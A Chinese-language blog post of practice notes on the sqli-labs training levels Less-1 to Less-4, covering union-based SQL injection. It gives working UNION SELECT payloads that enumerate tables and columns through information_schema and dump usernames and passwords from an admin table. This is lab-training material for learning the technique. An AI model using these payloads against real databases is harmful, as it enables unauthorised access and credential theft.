sqliab刷题笔记-联合注入
2021/7/26 19:07:47
本文主要是介绍sqliab刷题笔记-联合注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Less-1
- 测试是字符型还是数字型
-
判断所在字段数
-
查看显示值
可以看出显示2,3位置。因此我们选择2的位置进行联合注入
-
查看表名
- 我们要对admin,users等字符敏感
-
查看admin表中的字段名
-
显示内容
获得flag:helloword
-
less-1的代码
Less-2
-
判断字符型注入还是数字型注入
通过匹配单引号我们可以看出我们所写的单引号并没有被匹配因此我们可以看出这是一个数字注入
-
判断所在表的字段数
-1+order+by+4
-
查看显示位置
-1+union+select+1,2,3
-
查看表名
-1+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+
-
查看admin表名的字段
-1+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
-
查看内容
-1+union+select+1,(select+concat(username,0x5c,password)+from+admin+limit+0,1),3--+
-
代码查看
Less-3
-
查看
-1'
由错误回显可以看出该类型为字符型注入,且需要闭合引号
-1')--+
发现构造成功 -
判断字段数
-1')+order+by+4--+
-
查看显示位置
-1')+union+select+1,2,3--+
-
查看表名
-1')+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+
-
查看字段
-1')+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
-
查看内容
-
代码审计
Less-4
-
构造
-1'
无反应
-1"
发现我们需要闭合双引号和括号
-1") order by 100--+
发现构造成功
-
判断该表的字段数
-1")order+by+4--+
-
判断显示位置
-1")union+select+1,2,3--+
-
查询表名
-1")union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+
-
查看admin表中的字段名
-1")union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+
-
获取admin表中内容
-1")union+select+1,(select+concat(username,0x5c,password)+from+admin),3--+
-
代码审计
这篇关于sqliab刷题笔记-联合注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-06-19《2023版Java工程师》课程升级公告
- 2024-06-15matplotlib作图不显示3D图,怎么办?
- 2024-06-1503-Loki 日志监控
- 2024-06-1504-让LLM理解知识 -Prompt
- 2024-06-05做软件测试需要懂代码吗?
- 2024-06-0514-ShardingSphere的分布式主键实现
- 2024-06-03为什么以及如何要进行架构设计权衡?
- 2024-05-31全网首发第二弹!软考2024年5月《软件设计师》真题+解析+答案!(11-20题)
- 2024-05-31全网首发!软考2024年5月《软件设计师》真题+解析+答案!(21-30题)
- 2024-05-30【Java】百万数据excel导出功能如何实现